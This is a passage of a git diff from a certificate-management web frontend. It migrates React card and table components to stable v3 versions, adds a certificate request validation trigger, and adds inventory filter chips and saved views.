           </DetailGroup>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     </>
   );
 };
diff --git a/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateInstallationsSection.tsx b/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateInstallationsSection.tsx
index ffcb87d3f11..807eb100db8 100644
--- a/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateInstallationsSection.tsx
+++ b/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateInstallationsSection.tsx
@@ -4,18 +4,18 @@ import { format } from "date-fns";
 
 import { Lottie } from "@app/components/v2";
 import {
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Pagination,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { useListPkiInstallations } from "@app/hooks/api";
 import { getEndpoint, getGatewayLabel } from "@app/pages/cert-manager/pki-discovery-utils";
@@ -46,19 +46,17 @@ export const CertificateInstallationsSection = ({ certificateId }: Props) => {
 
   if (isPending) {
     return (
-      <UnstableCard>
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Installations</UnstableCardTitle>
-          <UnstableCardDescription>
-            Locations where this certificate was discovered
-          </UnstableCardDescription>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+      <Card>
+        <CardHeader className="border-b">
+          <CardTitle>Installations</CardTitle>
+          <CardDescription>Locations where this certificate was discovered</CardDescription>
+        </CardHeader>
+        <CardContent>
           <div className="flex h-40 w-full items-center justify-center">
             <Lottie icon="infisical_loading_white" isAutoPlay className="w-16" />
           </div>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     );
   }
 
@@ -69,25 +67,23 @@ export const CertificateInstallationsSection = ({ certificateId }: Props) => {
   const paginatedInstallations = installations || [];
 
   return (
-    <UnstableCard>
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Installations</UnstableCardTitle>
-        <UnstableCardDescription>
-          Locations where this certificate was discovered
-        </UnstableCardDescription>
-      </UnstableCardHeader>
-      <UnstableCardContent className="p-0">
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead>Name</UnstableTableHead>
-              <UnstableTableHead>Gateway</UnstableTableHead>
-              <UnstableTableHead>Last Seen</UnstableTableHead>
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+    <Card>
+      <CardHeader className="border-b">
+        <CardTitle>Installations</CardTitle>
+        <CardDescription>Locations where this certificate was discovered</CardDescription>
+      </CardHeader>
+      <CardContent className="p-0">
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>Name</TableHead>
+              <TableHead>Gateway</TableHead>
+              <TableHead>Last Seen</TableHead>
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {paginatedInstallations.map((installation) => (
-              <UnstableTableRow
+              <TableRow
                 key={installation.id}
                 onClick={() =>
                   navigate({
@@ -100,19 +96,17 @@ export const CertificateInstallationsSection = ({ certificateId }: Props) => {
                   })
                 }
               >
-                <UnstableTableCell>
-                  {installation.name || getEndpoint(installation)}
-                </UnstableTableCell>
-                <UnstableTableCell>{getGatewayLabel(installation) || "N/A"}</UnstableTableCell>
-                <UnstableTableCell>
+                <TableCell>{installation.name || getEndpoint(installation)}</TableCell>
+                <TableCell>{getGatewayLabel(installation) || "N/A"}</TableCell>
+                <TableCell>
                   {format(new Date(installation.lastSeenAt), "MMM dd, yyyy HH:mm")}
-                </UnstableTableCell>
-              </UnstableTableRow>
+                </TableCell>
+              </TableRow>
             ))}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
         {Boolean(totalCount) && (
-          <UnstablePagination
+          <Pagination
             count={totalCount}
             page={page}
             perPage={perPage}
@@ -120,7 +114,7 @@ export const CertificateInstallationsSection = ({ certificateId }: Props) => {
             onChangePerPage={setPerPage}
           />
         )}
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateMetadataSection.tsx b/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateMetadataSection.tsx
index 244e217e7de..3233481dc31 100644
--- a/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateMetadataSection.tsx
+++ b/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateMetadataSection.tsx
@@ -10,14 +10,14 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { Button, Modal, ModalContent } from "@app/components/v2";
 import {
   Badge,
-  UnstableButtonGroup,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton
+  ButtonGroup,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  IconButton
 } from "@app/components/v3";
 import {
   ProjectPermissionCertificateActions,
@@ -96,11 +96,11 @@ export const CertificateMetadataSection = ({ certificateId }: Props) => {
 
   if (isLoading) {
     return (
-      <UnstableCard>
-        <UnstableCardContent className="flex items-center justify-center py-8">
+      <Card>
+        <CardContent className="flex items-center justify-center py-8">
           <p className="text-sm text-mineshaft-400">Loading...</p>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
     );
   }
 
@@ -108,13 +108,11 @@ export const CertificateMetadataSection = ({ certificateId }: Props) => {
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Metadata</UnstableCardTitle>
-          <UnstableCardDescription>
-            Custom key-value pairs attached to this certificate
-          </UnstableCardDescription>
-          <UnstableCardAction>
+      <Card>
+        <CardHeader className="border-b">
+          <CardTitle>Metadata</CardTitle>
+          <CardDescription>Custom key-value pairs attached to this certificate</CardDescription>
+          <CardAction>
             <ProjectPermissionCan
               I={ProjectPermissionCertificateActions.Edit}
               a={subject(ProjectPermissionSub.Certificates, {
@@ -126,7 +124,7 @@ export const CertificateMetadataSection = ({ certificateId }: Props) => {
               })}
             >
               {(isAllowed) => (
-                <UnstableIconButton
+                <IconButton
                   variant="outline"
                   size="xs"
                   onClick={() => {
@@ -136,27 +134,24 @@ export const CertificateMetadataSection = ({ certificateId }: Props) => {
                   isDisabled={!isAllowed}
                 >
                   <PencilIcon />
-                </UnstableIconButton>
+                </IconButton>
               )}
             </ProjectPermissionCan>
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           {metadata.length > 0 ? (
             <div className="flex flex-wrap gap-2">
               {metadata.map((item) =>
                 item.value ? (
-                  <UnstableButtonGroup
-                    className="max-w-full min-w-0"
-                    key={`${item.key}=${item.value}`}
-                  >
+                  <ButtonGroup className="max-w-full min-w-0" key={`${item.key}=${item.value}`}>
                     <Badge isTruncatable className="max-w-[12rem] shrink-0">
                       <span>{item.key}</span>
                     </Badge>
                     <Badge variant="outline" isTruncatable>
                       <span>{item.value}</span>
                     </Badge>
-                  </UnstableButtonGroup>
+                  </ButtonGroup>
                 ) : (
                   <Badge key={item.key} isTruncatable>
                     <span>{item.key}</span>
@@ -167,8 +162,8 @@ export const CertificateMetadataSection = ({ certificateId }: Props) => {
           ) : (
             <p className="text-sm text-mineshaft-400">No metadata attached to this certificate.</p>
           )}
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
 
       <Modal isOpen={isModalOpen} onOpenChange={setIsModalOpen}>
         <ModalContent
diff --git a/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateOverviewSection.tsx b/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateOverviewSection.tsx
index d635ebd194a..039a5a216c6 100644
--- a/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateOverviewSection.tsx
+++ b/frontend/src/pages/cert-manager/CertificateDetailsByIDPage/components/CertificateOverviewSection.tsx
@@ -7,15 +7,15 @@ import { Tooltip } from "@app/components/v2";
 import { CopyButton } from "@app/components/v2/CopyButton";
 import {
   Badge,
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
-  DetailValue,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  DetailValue
 } from "@app/components/v3";
 import { CertSource, CertStatus, useGetCertificateById } from "@app/hooks/api";
 
@@ -48,11 +48,11 @@ export const CertificateOverviewSection = ({ certificateId }: Props) => {
   if (isLoading) {
     return (
       <div className="flex w-full flex-col gap-5 lg:max-w-[24rem]">
-        <UnstableCard>
-          <UnstableCardContent className="flex items-center justify-center py-8">
+        <Card>
+          <CardContent className="flex items-center justify-center py-8">
             <p className="text-sm text-mineshaft-400">Loading...</p>
-          </UnstableCardContent>
-        </UnstableCard>
+          </CardContent>
+        </Card>
       </div>
     );
   }
@@ -69,12 +69,12 @@ export const CertificateOverviewSection = ({ certificateId }: Props) => {
 
   return (
     <div className="flex w-full flex-col gap-5 lg:max-w-[24rem]">
-      <UnstableCard>
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Overview</UnstableCardTitle>
-          <UnstableCardDescription>Certificate overview</UnstableCardDescription>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+      <Card>
+        <CardHeader className="border-b">
+          <CardTitle>Overview</CardTitle>
+          <CardDescription>Certificate overview</CardDescription>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             <Detail>
               <DetailLabel>Common Name</DetailLabel>
@@ -138,17 +138,15 @@ export const CertificateOverviewSection = ({ certificateId }: Props) => {
               </DetailValue>
             </Detail>
           </DetailGroup>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
 
-      <UnstableCard>
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Issuance</UnstableCardTitle>
-          <UnstableCardDescription>
-            Certificate authority and profile information
-          </UnstableCardDescription>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+      <Card>
+        <CardHeader className="border-b">
+          <CardTitle>Issuance</CardTitle>
+          <CardDescription>Certificate authority and profile information</CardDescription>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             <Detail>
               <DetailLabel>Certificate Authority</DetailLabel>
@@ -236,8 +234,8 @@ export const CertificateOverviewSection = ({ certificateId }: Props) => {
               </Detail>
             )}
           </DetailGroup>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
 
       <CertificateMetadataSection certificateId={certificateId} />
     </div>
diff --git a/frontend/src/pages/cert-manager/CertificateRequestsPage/components/CertificateRequestRow.tsx b/frontend/src/pages/cert-manager/CertificateRequestsPage/components/CertificateRequestRow.tsx
index ea4a944cce0..ccff9a2cd07 100644
--- a/frontend/src/pages/cert-manager/CertificateRequestsPage/components/CertificateRequestRow.tsx
+++ b/frontend/src/pages/cert-manager/CertificateRequestsPage/components/CertificateRequestRow.tsx
@@ -4,6 +4,7 @@ import { Link } from "@tanstack/react-router";
 import { format } from "date-fns";
 import { ExternalLinkIcon } from "lucide-react";
 
+import { createNotification } from "@app/components/notifications";
 import { getCertificateDisplayName } from "@app/components/utilities/certificateDisplayUtils";
 import { truncateSerialNumber } from "@app/components/utilities/serialNumberUtils";
 import {
@@ -18,7 +19,11 @@ import {
 } from "@app/components/v2";
 import { Badge } from "@app/components/v3";
 import { useOrganization, useProject } from "@app/context";
-import { CertificateRequestStatus, TCertificateRequestListItem } from "@app/hooks/api/certificates";
+import {
+  CertificateRequestStatus,
+  TCertificateRequestListItem,
+  useTriggerCertificateRequestValidation
+} from "@app/hooks/api/certificates";
 
 type Props = {
   request: TCertificateRequestListItem;
@@ -28,6 +33,32 @@ type Props = {
 export const CertificateRequestRow = ({ request, onViewCertificates }: Props) => {
   const { currentOrg } = useOrganization();
   const { currentProject } = useProject();
+  const { mutateAsync: triggerValidation, isPending: isTriggering } =
+    useTriggerCertificateRequestValidation();
+
+  const handleTriggerValidation = async () => {
+    try {
+      const result = await triggerValidation({ requestId: request.id });
+      if (result.status === CertificateRequestStatus.ISSUED) {
+        createNotification({ text: "Certificate issued successfully", type: "success" });
+      } else if (result.status === CertificateRequestStatus.FAILED) {
+        createNotification({
+          text: `Validation failed${result.orderStatus ? ` (${result.orderStatus})` : ""}`,
+          type: "error"
+        });
+      } else {
+        createNotification({
+          text: `Still pending validation${result.orderStatus ? ` (${result.orderStatus})` : ""}`,
+          type: "info"
+        });
+      }
+    } catch (err) {
+      createNotification({
+        text: err instanceof Error ? err.message : "Failed to trigger validation",
+        type: "error"
+      });
+    }
+  };
 
   const getStatusBadge = (
     status: string,
@@ -52,12 +83,14 @@ export const CertificateRequestRow = ({ request, onViewCertificates }: Props) =>
         );
       case CertificateRequestStatus.PENDING:
         return <Badge variant="info">Pending Issuance</Badge>;
+      case CertificateRequestStatus.PENDING_VALIDATION:
+        return <Badge variant="warning">Pending Validation</Badge>;
       case CertificateRequestStatus.PENDING_APPROVAL:
         if (approvalRequestId && currentOrg?.id && currentProject?.id) {
           return (
             <Badge variant="warning" asChild>
               <Link
-                to="/organizations/$orgId/projects/cert-manager/$projectId/approval-requests/$approvalRequestId"
+                to="/organizations/$orgId/projects/cert-manager/$projectId/approvals/$approvalRequestId"
                 params={{
                   orgId: currentOrg.id,
                   projectId: currentProject.id,
@@ -130,6 +163,28 @@ export const CertificateRequestRow = ({ request, onViewCertificates }: Props) =>
             </DropdownMenuContent>
           </DropdownMenu>
         )}
+        {request.status === CertificateRequestStatus.PENDING_VALIDATION && (
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild className="rounded-lg">
+              <IconButton
+                variant="plain"
+                ariaLabel="More options"
+                className="h-max bg-transparent p-0"
+              >
+                <FontAwesomeIcon size="lg" icon={faEllipsis} />
+              </IconButton>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end" sideOffset={3}>
+              <DropdownMenuItem
+                onClick={handleTriggerValidation}
+                isDisabled={isTriggering}
+                className="flex items-center gap-2"
+              >
+                {isTriggering ? "Triggering…" : "Trigger Validation"}
+              </DropdownMenuItem>
+            </DropdownMenuContent>
+          </DropdownMenu>
+        )}
       </Td>
     </Tr>
   );
diff --git a/frontend/src/pages/cert-manager/CertificatesPage/components/ActiveFilterChips.tsx b/frontend/src/pages/cert-manager/CertificatesPage/components/ActiveFilterChips.tsx
new file mode 100644
index 00000000000..704a1d3e9ec
--- /dev/null
+++ b/frontend/src/pages/cert-manager/CertificatesPage/components/ActiveFilterChips.tsx
@@ -0,0 +1,74 @@
+import { XIcon } from "lucide-react";
+
+import { Badge, Tooltip, TooltipContent, TooltipTrigger } from "@app/components/v3";
+
+import { type FilterRule, getFilterChipLabel, getFilterMultiSelectLabels } from "./inventory-types";
+
+type Props = {
+  rules: FilterRule[];
+  onRemove: (ruleId: string) => void;
+  onClearAll: () => void;
+  dynamicFieldOptions?: Record<string, { value: string; label: string }[]>;
+};
+
+const FilterChip = ({
+  rule,
+  onRemove,
+  dynamicFieldOptions
+}: {
+  rule: FilterRule;
+  onRemove: () => void;
+  dynamicFieldOptions?: Record<string, { value: string; label: string }[]>;
+}) => {
+  const label = getFilterChipLabel(rule, dynamicFieldOptions);
+  const isCollapsed = Array.isArray(rule.value) && rule.value.length > 1;
+
+  const chip = (
+    <Badge variant="neutral" className="gap-1.5 pr-1" asChild>
+      <button type="button" onClick={onRemove}>
+        <span>{label}</span>
+        <XIcon className="size-3 text-muted transition-colors hover:text-red-400" />
+      </button>
+    </Badge>
+  );
+
+  if (!isCollapsed) return chip;
+
+  const expandedLabels = getFilterMultiSelectLabels(rule, dynamicFieldOptions);
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>{chip}</TooltipTrigger>
+      <TooltipContent side="bottom" className="max-w-xs">
+        <ul className="list-none space-y-0.5 text-xs">
+          {expandedLabels.map((lbl) => (
+            <li key={lbl}>{lbl}</li>
+          ))}
+        </ul>
+      </TooltipContent>
+    </Tooltip>
+  );
+};
+
+export const ActiveFilterChips = ({ rules, onRemove, onClearAll, dynamicFieldOptions }: Props) => {
+  if (rules.length === 0) return null;
+
+  return (
+    <div className="mb-3 flex max-h-24 flex-wrap items-center gap-2 overflow-y-auto">
+      <span className="text-xs text-muted">Active filters:</span>
+      {rules.map((rule) => (
+        <FilterChip
+          key={rule.id}
+          rule={rule}
+          onRemove={() => onRemove(rule.id)}
+          dynamicFieldOptions={dynamicFieldOptions}
+        />
+      ))}
+      <Badge variant="ghost" asChild>
+        <button type="button" onClick={onClearAll}>
+          Clear all
+        </button>
+      </Badge>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/CertificatesPage/components/CertificatesSection.tsx b/frontend/src/pages/cert-manager/CertificatesPage/components/CertificatesSection.tsx
index c4e386406cf..c781e8b80c4 100644
--- a/frontend/src/pages/cert-manager/CertificatesPage/components/CertificatesSection.tsx
+++ b/frontend/src/pages/cert-manager/CertificatesPage/components/CertificatesSection.tsx
@@ -1,10 +1,18 @@
-import { faArrowRight } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { ArrowRightIcon } from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
-import { Button, DeleteActionModal } from "@app/components/v2";
-import { DocumentationLinkBadge } from "@app/components/v3";
+import { DeleteActionModal } from "@app/components/v2";
+import {
+  Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DocumentationLinkBadge
+} from "@app/components/v3";
 import {
   ProjectPermissionCertificateActions,
   ProjectPermissionSub,
@@ -21,15 +29,21 @@ import { CertificateManageRenewalModal } from "./CertificateManageRenewalModal";
 import { CertificateRenewalModal } from "./CertificateRenewalModal";
 import { CertificateRevocationModal } from "./CertificateRevocationModal";
 import { CertificatesTable } from "./CertificatesTable";
+import type { FilterRule } from "./inventory-types";
 
 type CertificatesSectionProps = {
   externalFilter?: {
-    certificateId?: string;
     search?: string;
   };
+  dashboardFilters?: FilterRule[];
+  dashboardViewId?: string;
 };
 
-export const CertificatesSection = ({ externalFilter }: CertificatesSectionProps) => {
+export const CertificatesSection = ({
+  externalFilter,
+  dashboardFilters,
+  dashboardViewId
+}: CertificatesSectionProps) => {
   const { currentProject } = useProject();
   const { mutateAsync: deleteCert } = useDeleteCert();
   const { mutateAsync: downloadCertPkcs12 } = useDownloadCertPkcs12();
@@ -98,9 +112,9 @@ export const CertificatesSection = ({ externalFilter }: CertificatesSectionProps
           text: "PKCS12 certificate downloaded successfully",
           type: "success"
         });
-      } catch (error: any) {
+      } catch (error) {
         createNotification({
-          text: error?.message || "Failed to download PKCS12 certificate",
+          text: error instanceof Error ? error.message : "Failed to download PKCS12 certificate",
           type: "error"
         });
       }
@@ -108,58 +122,68 @@ export const CertificatesSection = ({ externalFilter }: CertificatesSectionProps
   };
 
   return (
-    <div className="mb-6 rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
-      <div className="mb-4 flex justify-between">
-        <div className="flex items-center gap-x-2">
-          <p className="text-xl font-medium text-mineshaft-100">Certificates</p>
+    <Card className="mb-6">
+      <CardHeader>
+        <CardTitle className="flex items-center gap-x-2">
+          Certificates
           <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/pki/certificates/overview" />
-        </div>
-        <div className="flex gap-2">
+        </CardTitle>
+        <CardDescription>
+          View, filter, and manage all certificates across your project.
+        </CardDescription>
+        <CardAction>
           <ProjectPermissionCan
             I={ProjectPermissionCertificateActions.Import}
             a={ProjectPermissionSub.Certificates}
           >
             {(isAllowed) => (
               <Button
-                variant="outline_bg"
-                leftIcon={<FontAwesomeIcon icon={faArrowRight} />}
+                variant="outline"
                 onClick={() => handlePopUpOpen("certificateImport")}
-                isDisabled={!isAllowed}
+                disabled={!isAllowed}
               >
+                <ArrowRightIcon className="mr-1.5 size-4" />
                 Import
               </Button>
             )}
           </ProjectPermissionCan>
-        </div>
-      </div>
-      <CertificatesTable handlePopUpOpen={handlePopUpOpen} externalFilter={externalFilter} />
-      <CertificateImportModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
-      <CertificateCertModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
-      <CertificateExportModal
-        popUp={popUp}
-        handlePopUpToggle={handlePopUpToggle}
-        onFormatSelected={handleCertificateExport}
-      />
-      <CertificateManageRenewalModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
-      <CertificateRenewalModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
-      <CertificateRevocationModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
-      <CertificateManagePkiSyncsModal
-        popUp={popUp.managePkiSyncs}
-        handlePopUpToggle={handlePopUpToggle}
-      />
-      <DeleteActionModal
-        isOpen={popUp.deleteCertificate.isOpen}
-        title={`Are you sure you want to remove the certificate ${
-          (popUp?.deleteCertificate?.data as { commonName: string })?.commonName || ""
-        } from the project?`}
-        onChange={(isOpen) => handlePopUpToggle("deleteCertificate", isOpen)}
-        deleteKey="confirm"
-        onDeleteApproved={() =>
-          onRemoveCertificateSubmit(
-            (popUp?.deleteCertificate?.data as { certificateId: string })?.certificateId
-          )
-        }
-      />
-    </div>
+        </CardAction>
+      </CardHeader>
+      <CardContent>
+        <CertificatesTable
+          handlePopUpOpen={handlePopUpOpen}
+          externalFilter={externalFilter}
+          dashboardFilters={dashboardFilters}
+          dashboardViewId={dashboardViewId}
+        />
+        <CertificateImportModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
+        <CertificateCertModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
+        <CertificateExportModal
+          popUp={popUp}
+          handlePopUpToggle={handlePopUpToggle}
+          onFormatSelected={handleCertificateExport}
+        />
+        <CertificateManageRenewalModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
+        <CertificateRenewalModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
+        <CertificateRevocationModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
+        <CertificateManagePkiSyncsModal
+          popUp={popUp.managePkiSyncs}
+          handlePopUpToggle={handlePopUpToggle}
+        />
+        <DeleteActionModal
+          isOpen={popUp.deleteCertificate.isOpen}
+          title={`Are you sure you want to remove the certificate ${
+            (popUp?.deleteCertificate?.data as { commonName: string })?.commonName || ""
+          } from the project?`}
+          onChange={(isOpen) => handlePopUpToggle("deleteCertificate", isOpen)}
+          deleteKey="confirm"
+          onDeleteApproved={() =>
+            onRemoveCertificateSubmit(
+              (popUp?.deleteCertificate?.data as { certificateId: string })?.certificateId
+            )
+          }
+        />
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/cert-manager/CertificatesPage/components/CertificatesTable.tsx b/frontend/src/pages/cert-manager/CertificatesPage/components/CertificatesTable.tsx
index 3722147a7a4..6d9382fc925 100644
--- a/frontend/src/pages/cert-manager/CertificatesPage/components/CertificatesTable.tsx
+++ b/frontend/src/pages/cert-manager/CertificatesPage/components/CertificatesTable.tsx
@@ -1,25 +1,23 @@
 /* eslint-disable no-nested-ternary */
-import { useEffect, useMemo, useState } from "react";
+import { useCallback, useEffect, useMemo, useState } from "react";
 import { subject } from "@casl/ability";
-import {
-  faBan,
-  faCertificate,
-  faClockRotateLeft,
-  faEllipsis,
-  faEye,
-  faFileExport,
-  faFilter,
-  faLink,
-  faMagnifyingGlass,
-  faQuestionCircle,
-  faRedo,
-  faSearch,
-  faTrash
-} from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { useNavigate } from "@tanstack/react-router";
 import { format } from "date-fns";
-import { twMerge } from "tailwind-merge";
+import {
+  ArrowDownIcon,
+  ArrowUpIcon,
+  BanIcon,
+  ClockIcon,
+  DownloadIcon,
+  EyeIcon,
+  FileOutputIcon,
+  FilterIcon,
+  LinkIcon,
+  MoreHorizontalIcon,
+  RefreshCwIcon,
+  SearchIcon,
+  Trash2Icon
+} from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
@@ -29,65 +27,74 @@ import {
 } from "@app/components/utilities/certificateDisplayUtils";
 import { truncateSerialNumber } from "@app/components/utilities/serialNumberUtils";
 import {
-  Button,
+  Badge,
   DropdownMenu,
   DropdownMenuContent,
   DropdownMenuItem,
   DropdownMenuTrigger,
-  EmptyState,
-  FilterableSelect,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
   IconButton,
-  Input,
+  InputGroup,
+  InputGroupAddon,
+  InputGroupInput,
   Pagination,
-  Select,
-  SelectItem,
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+  Skeleton,
   Table,
-  TableContainer,
-  TableSkeleton,
-  TBody,
-  Td,
-  Th,
-  THead,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
-  Tr
-} from "@app/components/v2";
-import { Badge } from "@app/components/v3";
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
 import {
+  ProjectPermissionActions,
   ProjectPermissionCertificateActions,
   ProjectPermissionPkiSyncActions,
   ProjectPermissionSub,
   useOrganization,
   useProject,
-  useProjectPermission
+  useProjectPermission,
+  useUser
 } from "@app/context";
 import { useUpdateRenewalConfig } from "@app/hooks/api";
 import { caSupportsCapability } from "@app/hooks/api/ca/constants";
 import { CaCapability, CaType } from "@app/hooks/api/ca/enums";
 import { useListCasByProjectId } from "@app/hooks/api/ca/queries";
+import {
+  useDeleteCertificateInventoryView,
+  useListCertificateInventoryViews,
+  useUpdateCertificateInventoryView
+} from "@app/hooks/api/certificateInventoryViews";
+import type {
+  TInventoryViewFilters,
+  TSystemViewFilters
+} from "@app/hooks/api/certificateInventoryViews/types";
 import { useListCertificateProfiles } from "@app/hooks/api/certificateProfiles";
+import { NON_PQC_KEY_ALGORITHMS, PQC_KEY_ALGORITHMS } from "@app/hooks/api/certificates/constants";
 import { CertSource, CertStatus } from "@app/hooks/api/certificates/enums";
 import { useListWorkspaceCertificates } from "@app/hooks/api/projects";
 import { UsePopUpState } from "@app/hooks/usePopUp";
 
-import {
-  type MetadataFilterEntry,
-  MetadataFilterSection
-} from "../../components/MetadataFilterSection";
+import { ActiveFilterChips } from "./ActiveFilterChips";
 import {
   getCertSourceLabel,
   getCertValidUntilBadgeDetails,
   isExpiringWithinOneDay
 } from "./CertificatesTable.utils";
-
-enum CertificateStatus {
-  Active = "active",
-  Expired = "expired",
-  Revoked = "revoked"
-}
-
-type CertificateFilters = {
-  status?: CertificateStatus;
-};
+import { ColumnVisibilityToggle, getDefaultVisibleColumns } from "./ColumnVisibilityToggle";
+import { certificatesToCSV, downloadCSV } from "./csvExport";
+import { FilterBuilder } from "./FilterBuilder";
+import { type FilterRule, filtersToSearchParams } from "./inventory-types";
+import { SaveViewModal } from "./SaveViewModal";
+import { ViewsDropdown } from "./ViewsDropdown";
 
 type Props = {
   handlePopUpOpen: (
@@ -117,78 +124,145 @@ type Props = {
     }
   ) => void;
   externalFilter?: {
-    certificateId?: string;
     search?: string;
   };
+  dashboardFilters?: FilterRule[];
+  dashboardViewId?: string;
 };
 
 const PER_PAGE_INIT = 25;
+const VIEW_STORAGE_KEY = "cert-inventory-active-view";
+const MS_PER_DAY = 86_400_000;
+const SEARCH_DEBOUNCE_MS = 500;
 
-export const CertificatesTable = ({ handlePopUpOpen, externalFilter }: Props) => {
+const EmptyCell = () => <span className="text-muted">—</span>;
+
+const getEnrollmentMethodBadge = (enrollmentType: string | null | undefined) => {
+  if (!enrollmentType) return <EmptyCell />;
+  const label = enrollmentType.toUpperCase();
+  return <Badge variant="ghost">{label}</Badge>;
+};
+
+const SortIcon = ({
+  column,
+  sortBy: sb,
+  sortOrder: so
+}: {
+  column: string;
+  sortBy?: string;
+  sortOrder?: string;
+}) => {
+  if (!sb || sb !== column) return null;
+  const Icon = so === "asc" ? ArrowUpIcon : ArrowDownIcon;
+  return <Icon className="ml-1 inline-block size-3" />;
+};
+
+export const CertificatesTable = ({
+  handlePopUpOpen,
+  externalFilter,
+  dashboardFilters,
+  dashboardViewId
+}: Props) => {
   const [page, setPage] = useState(1);
   const [perPage, setPerPage] = useState(PER_PAGE_INIT);
-  const [pendingSearch, setPendingSearch] = useState(externalFilter?.search || "");
-  const [pendingProfileIds, setPendingProfileIds] = useState<string[]>([]);
-  const [pendingFilters, setPendingFilters] = useState<CertificateFilters>({});
-  const [pendingMetadataFilters, setPendingMetadataFilters] = useState<MetadataFilterEntry[]>([]);
-
+  const [search, setSearch] = useState(externalFilter?.search || "");
   const [appliedSearch, setAppliedSearch] = useState(externalFilter?.search || "");
-  const [appliedProfileIds, setAppliedProfileIds] = useState<string[]>([]);
-  const [appliedFilters, setAppliedFilters] = useState<CertificateFilters>({});
-  const [appliedMetadataFilters, setAppliedMetadataFilters] = useState<MetadataFilterEntry[]>([]);
+
+  const getFiltersForSystemViewId = (viewId: string | undefined): FilterRule[] => {
+    if (viewId === "system-pqc") {
+      return [
+        { id: "sv-pqc", field: "keyAlgorithm", operator: "in", value: [...PQC_KEY_ALGORITHMS] }
+      ];
+    }
+    if (viewId === "system-non-pqc") {
+      return [
+        {
